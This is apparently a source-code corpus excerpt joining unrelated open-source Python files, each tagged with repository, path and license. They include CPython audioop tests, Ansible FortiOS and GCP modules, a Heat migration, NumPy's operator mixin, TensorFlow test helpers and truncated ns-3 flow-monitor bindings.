audioop.maxpp, data, size) self.assertRaises(audioop.error, audioop.cross, data, size) self.assertRaises(audioop.error, audioop.mul, data, size, 1.0) self.assertRaises(audioop.error, audioop.tomono, data, size, 0.5, 0.5) self.assertRaises(audioop.error, audioop.tostereo, data, size, 0.5, 0.5) self.assertRaises(audioop.error, audioop.add, data, data, size) self.assertRaises(audioop.error, audioop.bias, data, size, 0) self.assertRaises(audioop.error, audioop.reverse, data, size) self.assertRaises(audioop.error, audioop.lin2lin, data, size, size2) self.assertRaises(audioop.error, audioop.ratecv, data, size, 1, 1, 1, state) self.assertRaises(audioop.error, audioop.lin2ulaw, data, size) self.assertRaises(audioop.error, audioop.lin2alaw, data, size) self.assertRaises(audioop.error, audioop.lin2adpcm, data, size, state) def test_string(self): data = 'abcd' size = 2 self.assertRaises(TypeError, audioop.getsample, data, size, 0) self.assertRaises(TypeError, audioop.max, data, size) self.assertRaises(TypeError, audioop.minmax, data, size) self.assertRaises(TypeError, audioop.avg, data, size) self.assertRaises(TypeError, audioop.rms, data, size) self.assertRaises(TypeError, audioop.avgpp, data, size) self.assertRaises(TypeError, audioop.maxpp, data, size) self.assertRaises(TypeError, audioop.cross, data, size) self.assertRaises(TypeError, audioop.mul, data, size, 1.0) self.assertRaises(TypeError, audioop.tomono, data, size, 0.5, 0.5) self.assertRaises(TypeError, audioop.tostereo, data, size, 0.5, 0.5) self.assertRaises(TypeError, audioop.add, data, data, size) self.assertRaises(TypeError, audioop.bias, data, size, 0) self.assertRaises(TypeError, audioop.reverse, data, size) self.assertRaises(TypeError, audioop.lin2lin, data, size, size) self.assertRaises(TypeError, audioop.ratecv, data, size, 1, 1, 1, None) self.assertRaises(TypeError, audioop.lin2ulaw, data, size) self.assertRaises(TypeError, audioop.lin2alaw, data, size) self.assertRaises(TypeError, audioop.lin2adpcm, data, size, None) def test_wrongsize(self): data = b'abcdefgh' state = None for size in (-1, 0, 5, 1024): self.assertRaises(audioop.error, audioop.ulaw2lin, data, size) self.assertRaises(audioop.error, audioop.alaw2lin, data, size) self.assertRaises(audioop.error, audioop.adpcm2lin, data, size, state) if __name__ == '__main__': unittest.main()
Microvellum/Fluid-Designer
win64-vc/2.78/python/lib/test/test_audioop.py
Python
gpl-3.0
28,719
#!/usr/bin/python from __future__ import (absolute_import, division, print_function) # Copyright 2019 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_system_replacemsg_traffic_quota short_description: Replacement messages in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify system_replacemsg feature and traffic_quota category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.5 version_added: "2.9" author: - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Requires fortiosapi library developed by Fortinet - Run as a local_action in your playbook requirements: - fortiosapi>=0.9.8 options: host: description: - FortiOS or FortiGate IP address. type: str required: false username: description: - FortiOS or FortiGate username. type: str required: false password: description: - FortiOS or FortiGate password. type: str default: "" vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root https: description: - Indicates if the requests towards FortiGate must use HTTPS protocol. type: bool default: true ssl_verify: description: - Ensures FortiGate certificate must be verified by a proper CA. type: bool default: true state: description: - Indicates whether to create or remove the object. type: str required: true choices: - present - absent system_replacemsg_traffic_quota: description: - Replacement messages. default: null type: dict suboptions: buffer: description: - Message string. type: str format: description: - Format flag. type: str choices: - none - text - html - wml header: description: - Header flag. type: str choices: - none - http - 8bit msg_type: description: - Message type. type: str ''' EXAMPLES = ''' - hosts: localhost vars: host: "192.168.122.40" username: "admin" password: "" vdom: "root" ssl_verify: "False" tasks: - name: Replacement messages. fortios_system_replacemsg_traffic_quota: host: "{{ host }}" username: "{{ username }}" password: "{{ password }}" vdom: "{{ vdom }}" https: "False" state: "present" system_replacemsg_traffic_quota: buffer: "<your_own_value>" format: "none" header: "none" msg_type: "<your_own_value>" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible.module_utils.network.fortios.fortios import FortiOSHandler from ansible.module_utils.network.fortimanager.common import FAIL_SOCKET_MSG def login(data, fos): host = data['host'] username = data['username'] password = data['password'] ssl_verify = data['ssl_verify'] fos.debug('on') if 'https' in data and not data['https']: fos.https('off') else: fos.https('on') fos.login(host, username, password, verify=ssl_verify) def filter_system_replacemsg_traffic_quota_data(json): option_list = ['buffer', 'format', 'header', 'msg_type'] dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for elem in data: elem = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace('_', '-')] = underscore_to_hyphen(v) data = new_data return data def system_replacemsg_traffic_quota(data, fos): vdom = data['vdom'] state = data['state'] system_replacemsg_traffic_quota_data = data['system_replacemsg_traffic_quota'] filtered_data = underscore_to_hyphen(filter_system_replacemsg_traffic_quota_data(system_replacemsg_traffic_quota_data)) if state == "present": return fos.set('system.replacemsg', 'traffic-quota', data=filtered_data, vdom=vdom) elif state == "absent": return fos.delete('system.replacemsg', 'traffic-quota', mkey=filtered_data['msg-type'], vdom=vdom) def is_successful_status(status): return status['status'] == "success" or \ status['http_method'] == "DELETE" and status['http_status'] == 404 def fortios_system_replacemsg(data, fos): if data['system_replacemsg_traffic_quota']: resp = system_replacemsg_traffic_quota(data, fos) return not is_successful_status(resp), \ resp['status'] == "success", \ resp def main(): fields = { "host": {"required": False, "type": "str"}, "username": {"required": False, "type": "str"}, "password": {"required": False, "type": "str", "default": "", "no_log": True}, "vdom": {"required": False, "type": "str", "default": "root"}, "https": {"required": False, "type": "bool", "default": True}, "ssl_verify": {"required": False, "type": "bool", "default": True}, "state": {"required": True, "type": "str", "choices": ["present", "absent"]}, "system_replacemsg_traffic_quota": { "required": False, "type": "dict", "default": None, "options": { "buffer": {"required": False, "type": "str"}, "format": {"required": False, "type": "str", "choices": ["none", "text", "html", "wml"]}, "header": {"required": False, "type": "str", "choices": ["none", "http", "8bit"]}, "msg_type": {"required": False, "type": "str"} } } } module = AnsibleModule(argument_spec=fields, supports_check_mode=False) # legacy_mode refers to using fortiosapi instead of HTTPAPI legacy_mode = 'host' in module.params and module.params['host'] is not None and \ 'username' in module.params and module.params['username'] is not None and \ 'password' in module.params and module.params['password'] is not None if not legacy_mode: if module._socket_path: connection = Connection(module._socket_path) fos = FortiOSHandler(connection) is_error, has_changed, result = fortios_system_replacemsg(module.params, fos) else: module.fail_json(**FAIL_SOCKET_MSG) else: try: from fortiosapi import FortiOSAPI except ImportError: module.fail_json(msg="fortiosapi module is required") fos = FortiOSAPI() login(module.params, fos) is_error, has_changed, result = fortios_system_replacemsg(module.params, fos) fos.logout() if not is_error: module.exit_json(changed=has_changed, meta=result) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == '__main__': main()
kvar/ansible
lib/ansible/modules/network/fortios/fortios_system_replacemsg_traffic_quota.py
Python
gpl-3.0
10,207
# -*- coding: utf-8 -*- ############################################################################## # # Copyright (C) 2013 Agile Business Group sagl # (<http://www.agilebg.com>) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': "Purchase orders - Force number", 'version': '0.1', 'category': 'Purchase Management', 'summary': "Force purchase orders numeration", 'description': """ This simple module allows to specify the number to use when creating purchase orders. If user does not change the default value ('/'), the standard sequence is used.""", 'author': "Agile Business Group,Odoo Community Association (OCA)", 'website': 'http://www.agilebg.com', 'license': 'AGPL-3', "depends": ['purchase'], "data": [ 'purchase_view.xml', ], "demo": [], "active": False, "installable": False }
andrius-preimantas/purchase-workflow
purchase_order_force_number/__openerp__.py
Python
agpl-3.0
1,589
from lib.action import PyraxBaseAction from lib.formatters import to_dns_zone_dict __all__ = [ 'CreateDNSZoneAction' ] class CreateDNSZoneAction(PyraxBaseAction): def run(self, name, email_address, ttl=None, comment=None): cdns = self.pyrax.cloud_dns zone = cdns.create(name=name, emailAddress=email_address, ttl=ttl, comment=comment) result = to_dns_zone_dict(zone) return result
armab/st2contrib
packs/rackspace/actions/create_dns_zone.py
Python
apache-2.0
452
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import migrate import sqlalchemy from heat.db.sqlalchemy import utils as migrate_utils def upgrade(migrate_engine): if migrate_engine.name == 'sqlite': upgrade_sqlite(migrate_engine) return meta = sqlalchemy.MetaData() meta.bind = migrate_engine tmpl_table = sqlalchemy.Table('raw_template', meta, autoload=True) # drop constraint fkey = migrate.ForeignKeyConstraint( columns=[tmpl_table.c.predecessor], refcolumns=[tmpl_table.c.id], name='predecessor_fkey_ref') fkey.drop() tmpl_table.c.predecessor.drop() def upgrade_sqlite(migrate_engine): meta = sqlalchemy.MetaData() meta.bind = migrate_engine tmpl_table = sqlalchemy.Table('raw_template', meta, autoload=True) ignorecols = [tmpl_table.c.predecessor.name] new_template = migrate_utils.clone_table('new_raw_template', tmpl_table, meta, ignorecols=ignorecols) # migrate stacks to new table migrate_utils.migrate_data(migrate_engine, tmpl_table, new_template, skip_columns=['predecessor'])
dragorosson/heat
heat/db/sqlalchemy/migrate_repo/versions/064_raw_template_predecessor.py
Python
apache-2.0
1,809
"""Mixin classes for custom array types that don't inherit from ndarray.""" from numpy.core import umath as um __all__ = ['NDArrayOperatorsMixin'] def _disables_array_ufunc(obj): """True when __array_ufunc__ is set to None.""" try: return obj.__array_ufunc__ is None except AttributeError: return False def _binary_method(ufunc, name): """Implement a forward binary method with a ufunc, e.g., __add__.""" def func(self, other): if _disables_array_ufunc(other): return NotImplemented return ufunc(self, other) func.__name__ = '__{}__'.format(name) return func def _reflected_binary_method(ufunc, name): """Implement a reflected binary method with a ufunc, e.g., __radd__.""" def func(self, other): if _disables_array_ufunc(other): return NotImplemented return ufunc(other, self) func.__name__ = '__r{}__'.format(name) return func def _inplace_binary_method(ufunc, name): """Implement an in-place binary method with a ufunc, e.g., __iadd__.""" def func(self, other): return ufunc(self, other, out=(self,)) func.__name__ = '__i{}__'.format(name) return func def _numeric_methods(ufunc, name): """Implement forward, reflected and inplace binary methods with a ufunc.""" return (_binary_method(ufunc, name), _reflected_binary_method(ufunc, name), _inplace_binary_method(ufunc, name)) def _unary_method(ufunc, name): """Implement a unary special method with a ufunc.""" def func(self): return ufunc(self) func.__name__ = '__{}__'.format(name) return func class NDArrayOperatorsMixin: """Mixin defining all operator special methods using __array_ufunc__. This class implements the special methods for almost all of Python's builtin operators defined in the `operator` module, including comparisons (``==``, ``>``, etc.) and arithmetic (``+``, ``*``, ``-``, etc.), by deferring to the ``__array_ufunc__`` method, which subclasses must implement. It is useful for writing classes that do not inherit from `numpy.ndarray`, but that should support arithmetic and numpy universal functions like arrays as described in `A Mechanism for Overriding Ufuncs <https://numpy.org/neps/nep-0013-ufunc-overrides.html>`_. As an trivial example, consider this implementation of an ``ArrayLike`` class that simply wraps a NumPy array and ensures that the result of any arithmetic operation is also an ``ArrayLike`` object:: class ArrayLike(np.lib.mixins.NDArrayOperatorsMixin): def __init__(self, value): self.value = np.asarray(value) # One might also consider adding the built-in list type to this # list, to support operations like np.add(array_like, list) _HANDLED_TYPES = (np.ndarray, numbers.Number) def __array_ufunc__(self, ufunc, method, *inputs, **kwargs): out = kwargs.get('out', ()) for x in inputs + out: # Only support operations with instances of _HANDLED_TYPES. # Use ArrayLike instead of type(self) for isinstance to # allow subclasses that don't override __array_ufunc__ to # handle ArrayLike objects. if not isinstance(x, self._HANDLED_TYPES + (ArrayLike,)): return NotImplemented # Defer to the implementation of the ufunc on unwrapped values. inputs = tuple(x.value if isinstance(x, ArrayLike) else x for x in inputs) if out: kwargs['out'] = tuple( x.value if isinstance(x, ArrayLike) else x for x in out) result = getattr(ufunc, method)(*inputs, **kwargs) if type(result) is tuple: # multiple return values return tuple(type(self)(x) for x in result) elif method == 'at': # no return value return None else: # one return value return type(self)(result) def __repr__(self): return '%s(%r)' % (type(self).__name__, self.value) In interactions between ``ArrayLike`` objects and numbers or numpy arrays, the result is always another ``ArrayLike``: >>> x = ArrayLike([1, 2, 3]) >>> x - 1 ArrayLike(array([0, 1, 2])) >>> 1 - x ArrayLike(array([ 0, -1, -2])) >>> np.arange(3) - x ArrayLike(array([-1, -1, -1])) >>> x - np.arange(3) ArrayLike(array([1, 1, 1])) Note that unlike ``numpy.ndarray``, ``ArrayLike`` does not allow operations with arbitrary, unrecognized types. This ensures that interactions with ArrayLike preserve a well-defined casting hierarchy. .. versionadded:: 1.13 """ # Like np.ndarray, this mixin class implements "Option 1" from the ufunc # overrides NEP. # comparisons don't have reflected and in-place versions __lt__ = _binary_method(um.less, 'lt') __le__ = _binary_method(um.less_equal, 'le') __eq__ = _binary_method(um.equal, 'eq') __ne__ = _binary_method(um.not_equal, 'ne') __gt__ = _binary_method(um.greater, 'gt') __ge__ = _binary_method(um.greater_equal, 'ge') # numeric methods __add__, __radd__, __iadd__ = _numeric_methods(um.add, 'add') __sub__, __rsub__, __isub__ = _numeric_methods(um.subtract, 'sub') __mul__, __rmul__, __imul__ = _numeric_methods(um.multiply, 'mul') __matmul__, __rmatmul__, __imatmul__ = _numeric_methods( um.matmul, 'matmul') # Python 3 does not use __div__, __rdiv__, or __idiv__ __truediv__, __rtruediv__, __itruediv__ = _numeric_methods( um.true_divide, 'truediv') __floordiv__, __rfloordiv__, __ifloordiv__ = _numeric_methods( um.floor_divide, 'floordiv') __mod__, __rmod__, __imod__ = _numeric_methods(um.remainder, 'mod') __divmod__ = _binary_method(um.divmod, 'divmod') __rdivmod__ = _reflected_binary_method(um.divmod, 'divmod') # __idivmod__ does not exist # TODO: handle the optional third argument for __pow__? __pow__, __rpow__, __ipow__ = _numeric_methods(um.power, 'pow') __lshift__, __rlshift__, __ilshift__ = _numeric_methods( um.left_shift, 'lshift') __rshift__, __rrshift__, __irshift__ = _numeric_methods( um.right_shift, 'rshift') __and__, __rand__, __iand__ = _numeric_methods(um.bitwise_and, 'and') __xor__, __rxor__, __ixor__ = _numeric_methods(um.bitwise_xor, 'xor') __or__, __ror__, __ior__ = _numeric_methods(um.bitwise_or, 'or') # unary methods __neg__ = _unary_method(um.negative, 'neg') __pos__ = _unary_method(um.positive, 'pos') __abs__ = _unary_method(um.absolute, 'abs') __invert__ = _unary_method(um.invert, 'invert')
charris/numpy
numpy/lib/mixins.py
Python
bsd-3-clause
7,052
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright (C) 2017 Google # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # ---------------------------------------------------------------------------- # # *** AUTO GENERATED CODE *** AUTO GENERATED CODE *** # # ---------------------------------------------------------------------------- # # This file is automatically generated by Magic Modules and manual # changes will be clobbered when the file is regenerated. # # Please read more about how to change this file at # https://www.github.com/GoogleCloudPlatform/magic-modules # # ---------------------------------------------------------------------------- from __future__ import absolute_import, division, print_function __metaclass__ = type ################################################################################ # Documentation ################################################################################ ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ["preview"], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: gcp_resourcemanager_project description: - Represents a GCP Project. A project is a container for ACLs, APIs, App Engine Apps, VMs, and other Google Cloud Platform resources. short_description: Creates a GCP Project version_added: '2.8' author: Google Inc. (@googlecloudplatform) requirements: - python >= 2.6 - requests >= 2.18.4 - google-auth >= 1.3.0 options: state: description: - Whether the given object should exist in GCP choices: - present - absent default: present type: str name: description: - 'The user-assigned display name of the Project. It must be 4 to 30 characters. Allowed characters are: lowercase and uppercase letters, numbers, hyphen, single-quote, double-quote, space, and exclamation point.' required: false type: str labels: description: - The labels associated with this Project. - 'Label keys must be between 1 and 63 characters long and must conform to the following regular expression: `[a-z]([-a-z0-9]*[a-z0-9])?`.' - Label values must be between 0 and 63 characters long and must conform to the regular expression `([a-z]([-a-z0-9]*[a-z0-9])?)?`. - No more than 256 labels can be associated with a given resource. - Clients should store labels in a representation such as JSON that does not depend on specific characters being disallowed . required: false type: dict parent: description: - A parent organization. required: false type: dict suboptions: type: description: - Must be organization. required: false type: str id: description: - Id of the organization. required: false type: str id: description: - The unique, user-assigned ID of the Project. It must be 6 to 30 lowercase letters, digits, or hyphens. It must start with a letter. - Trailing hyphens are prohibited. required: true type: str project: description: - The Google Cloud Platform project to use. type: str auth_kind: description: - The type of credential used. type: str required: true choices: - application - machineaccount - serviceaccount service_account_contents: description: - The contents of a Service Account JSON file, either in a dictionary or as a JSON string that represents it. type: jsonarg service_account_file: description: - The path of a Service Account JSON file if serviceaccount is selected as type. type: path service_account_email: description: - An optional service account email address if machineaccount is selected and the user does not wish to use the default email. type: str scopes: description: - Array of scopes to be used type: list env_type: description: - Specifies which Ansible environment you're running this module within. - This should not be set unless you know what you're doing. - This only alters the User Agent string for any API requests. type: str ''' EXAMPLES = ''' - name: create a project gcp_resourcemanager_project: name: My Sample Project id: alextest-{{ 10000000000 | random }} auth_kind: serviceaccount service_account_file: "/tmp/auth.pem" parent: type: organization id: 636173955921 state: present ''' RETURN = ''' number: description: - Number uniquely identifying the project. returned: success type: int lifecycleState: description: - The Project lifecycle state. returned: success type: str name: description: - 'The user-assigned display name of the Project. It must be 4 to 30 characters. Allowed characters are: lowercase and uppercase letters, numbers, hyphen, single-quote, double-quote, space, and exclamation point.' returned: success type: str createTime: description: - Time of creation. returned: success type: str labels: description: - The labels associated with this Project. - 'Label keys must be between 1 and 63 characters long and must conform to the following regular expression: `[a-z]([-a-z0-9]*[a-z0-9])?`.' - Label values must be between 0 and 63 characters long and must conform to the regular expression `([a-z]([-a-z0-9]*[a-z0-9])?)?`. - No more than 256 labels can be associated with a given resource. - Clients should store labels in a representation such as JSON that does not depend on specific characters being disallowed . returned: success type: dict parent: description: - A parent organization. returned: success type: complex contains: type: description: - Must be organization. returned: success type: str id: description: - Id of the organization. returned: success type: str id: description: - The unique, user-assigned ID of the Project. It must be 6 to 30 lowercase letters, digits, or hyphens. It must start with a letter. - Trailing hyphens are prohibited. returned: success type: str ''' ################################################################################ # Imports ################################################################################ from ansible.module_utils.gcp_utils import navigate_hash, GcpSession, GcpModule, GcpRequest, remove_nones_from_dict, replace_resource_dict import json import time ################################################################################ # Main ################################################################################ def main(): """Main function""" module = GcpModule( argument_spec=dict( state=dict(default='present', choices=['present', 'absent'], type='str'), name=dict(type='str'), labels=dict(type='dict'), parent=dict(type='dict', options=dict(type=dict(type='str'), id=dict(type='str'))), id=dict(required=True, type='str'), ) ) if not module.params['scopes']: module.params['scopes'] = ['https://www.googleapis.com/auth/cloud-platform'] state = module.params['state'] fetch = fetch_resource(module, self_link(module)) changed = False if fetch: if state == 'present': if is_different(module, fetch): update(module, self_link(module)) fetch = fetch_resource(module, self_link(module)) changed = True else: delete(module, self_link(module)) fetch = {} changed = True else: if state == 'present': fetch = create(module, collection(module)) changed = True else: fetch = {} fetch.update({'changed': changed}) module.exit_json(**fetch) def create(module, link): auth = GcpSession(module, 'resourcemanager') return wait_for_operation(module, auth.post(link, resource_to_request(module))) def update(module, link): auth = GcpSession(module, 'resourcemanager') return wait_for_operation(module, auth.put(link, resource_to_request(module))) def delete(module, link): auth = GcpSession(module, 'resourcemanager') return wait_for_operation(module, auth.delete(link)) def resource_to_request(module): request = { u'projectId': module.params.get('id'), u'name': module.params.get('name'), u'labels': module.params.get('labels'), u'parent': ProjectParent(module.params.get('parent', {}), module).to_request(), } return_vals = {} for k, v in request.items(): if v or v is False: return_vals[k] = v return return_vals def fetch_resource(module, link, allow_not_found=True): auth = GcpSession(module, 'resourcemanager') return return_if_object(module, auth.get(link), allow_not_found) def self_link(module): return "https://cloudresourcemanager.googleapis.com/v1/projects/{id}".format(**module.params) def collection(module): return "https://cloudresourcemanager.googleapis.com/v1/projects".format(**module.params) def return_if_object(module, response, allow_not_found=False): # If not found, return nothing. if allow_not_found and response.status_code == 404: return None # If no content, return nothing. if response.status_code == 204: return None # SQL only: return on 403 if not exist if allow_not_found and response.status_code == 403: return None try: result = response.json() except getattr(json.decoder, 'JSONDecodeError', ValueError) as inst: module.fail_json(msg="Invalid JSON response with error: %s" % inst) if navigate_hash(result, ['error', 'message']): module.fail_json(msg=navigate_hash(result, ['error', 'message'])) return result def is_different(module, response): request = resource_to_request(module) response = response_to_hash(module, response) # Remove all output-only from response. response_vals = {} for k, v in response.items(): if k in request: response_vals[k] = v request_vals = {} for k, v in request.items(): if k in response: request_vals[k] = v return GcpRequest(request_vals) != GcpRequest(response_vals) # Remove unnecessary properties from the response. # This is for doing comparisons with Ansible's current parameters. def response_to_hash(module, response): return { u'projectNumber': response.get(u'projectNumber'), u'lifecycleState': response.get(u'lifecycleState'), u'name': response.get(u'name'), u'createTime': response.get(u'createTime'), u'labels': response.get(u'labels'), u'parent': ProjectParent(response.get(u'parent', {}), module).from_response(), } def async_op_url(module, extra_data=None): if extra_data is None: extra_data = {} url = "https://cloudresourcemanager.googleapis.com/v1/{op_id}" combined = extra_data.copy() combined.update(module.params) return url.format(**combined) def wait_for_operation(module, response): op_result = return_if_object(module, response) if op_result is None: return {} status = navigate_hash(op_result, ['done']) wait_done = wait_for_completion(status, op_result, module) raise_if_errors(wait_done, ['error'], module) return navigate_hash(wait_done, ['response']) def wait_for_completion(status, op_result, module): op_id = navigate_hash(op_result, ['name']) op_uri = async_op_url(module, {'op_id': op_id}) while not status: raise_if_errors(op_result, ['error'], module) time.sleep(1.0) op_result = fetch_resource(module, op_uri, False) status = navigate_hash(op_result, ['done']) return op_result def raise_if_errors(response, err_path, module): errors = navigate_hash(response, err_path) if errors is not None: module.fail_json(msg=errors) class ProjectParent(object): def __init__(self, request, module): self.module = module if request: self.request = request else: self.request = {} def to_request(self): return remove_nones_from_dict({u'type': self.request.get('type'), u'id': self.request.get('id')}) def from_response(self): return remove_nones_from_dict({u'type': self.request.get(u'type'), u'id': self.request.get(u'id')}) if __name__ == '__main__': main()
thaim/ansible
lib/ansible/modules/cloud/google/gcp_resourcemanager_project.py
Python
mit
12,612
# Copyright 2017 The TensorFlow Authors All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Functions to make unit testing easier.""" import StringIO import numpy as np from PIL import Image as PILImage import tensorflow as tf def create_random_image(image_format, shape): """Creates an image with random values. Args: image_format: An image format (PNG or JPEG). shape: A tuple with image shape (including channels). Returns: A tuple (<numpy ndarray>, <a string with encoded image>) """ image = np.random.randint(low=0, high=255, size=shape, dtype='uint8') io = StringIO.StringIO() image_pil = PILImage.fromarray(image) image_pil.save(io, image_format, subsampling=0, quality=100) return image, io.getvalue() def create_serialized_example(name_to_values): """Creates a tf.Example proto using a dictionary. It automatically detects type of values and define a corresponding feature. Args: name_to_values: A dictionary. Returns: tf.Example proto. """ example = tf.train.Example() for name, values in name_to_values.items(): feature = example.features.feature[name] if isinstance(values[0], str): add = feature.bytes_list.value.extend elif isinstance(values[0], float): add = feature.float32_list.value.extend elif isinstance(values[0], int): add = feature.int64_list.value.extend else: raise AssertionError('Unsupported type: %s' % type(values[0])) add(values) return example.SerializeToString()
infilect/ml-course1
week4/attention_ocr/python/datasets/unittest_utils.py
Python
mit
2,107
from pybindgen import Module, FileCodeSink, param, retval, cppclass, typehandlers import pybindgen.settings import warnings class ErrorHandler(pybindgen.settings.ErrorHandler): def handle_error(self, wrapper, exception, traceback_): warnings.warn("exception %r in wrapper %s" % (exception, wrapper)) return True pybindgen.settings.error_handler = ErrorHandler() import sys def module_init(): root_module = Module('ns.flow_monitor', cpp_namespace='::ns3') return root_module def register_types(module): root_module = module.get_root() ## address.h (module 'network'): ns3::Address [class] module.add_class('Address', import_from_module='ns.network') ## address.h (module 'network'): ns3::Address::MaxSize_e [enumeration] module.add_enum('MaxSize_e', ['MAX_SIZE'], outer_class=root_module['ns3::Address'], import_from_module='ns.network') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList [class] module.add_class('AttributeConstructionList', import_from_module='ns.core') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item [struct] module.add_class('Item', import_from_module='ns.core', outer_class=root_module['ns3::AttributeConstructionList']) ## buffer.h (module 'network'): ns3::Buffer [class] module.add_class('Buffer', import_from_module='ns.network') ## buffer.h (module 'network'): ns3::Buffer::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::Buffer']) ## packet.h (module 'network'): ns3::ByteTagIterator [class] module.add_class('ByteTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::ByteTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagIterator']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList [class] module.add_class('ByteTagList', import_from_module='ns.network') ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList::Iterator']) ## callback.h (module 'core'): ns3::CallbackBase [class] module.add_class('CallbackBase', import_from_module='ns.core') ## event-id.h (module 'core'): ns3::EventId [class] module.add_class('EventId', import_from_module='ns.core') ## flow-monitor-helper.h (module 'flow-monitor'): ns3::FlowMonitorHelper [class] module.add_class('FlowMonitorHelper') ## hash.h (module 'core'): ns3::Hasher [class] module.add_class('Hasher', import_from_module='ns.core') ## histogram.h (module 'flow-monitor'): ns3::Histogram [class] module.add_class('Histogram') ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class] module.add_class('Inet6SocketAddress', import_from_module='ns.network') ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class] root_module['ns3::Inet6SocketAddress'].implicitly_converts_to(root_module['ns3::Address']) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class] module.add_class('InetSocketAddress', import_from_module='ns.network') ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class] root_module['ns3::InetSocketAddress'].implicitly_converts_to(root_module['ns3::Address']) ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] module.add_class('Ipv4Address', import_from_module='ns.network') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] root_module['ns3::Ipv4Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress [class] module.add_class('Ipv4InterfaceAddress', import_from_module='ns.internet') ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e [enumeration] module.add_enum('InterfaceAddressScope_e', ['HOST', 'LINK', 'GLOBAL'], outer_class=root_module['ns3::Ipv4InterfaceAddress'], import_from_module='ns.internet') ## ipv4-address.h (module 'network'): ns3::Ipv4Mask [class] module.add_class('Ipv4Mask', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] module.add_class('Ipv6Address', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] root_module['ns3::Ipv6Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress [class] module.add_class('Ipv6InterfaceAddress', import_from_module='ns.internet') ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::State_e [enumeration] module.add_enum('State_e', ['TENTATIVE', 'DEPRECATED', 'PREFERRED', 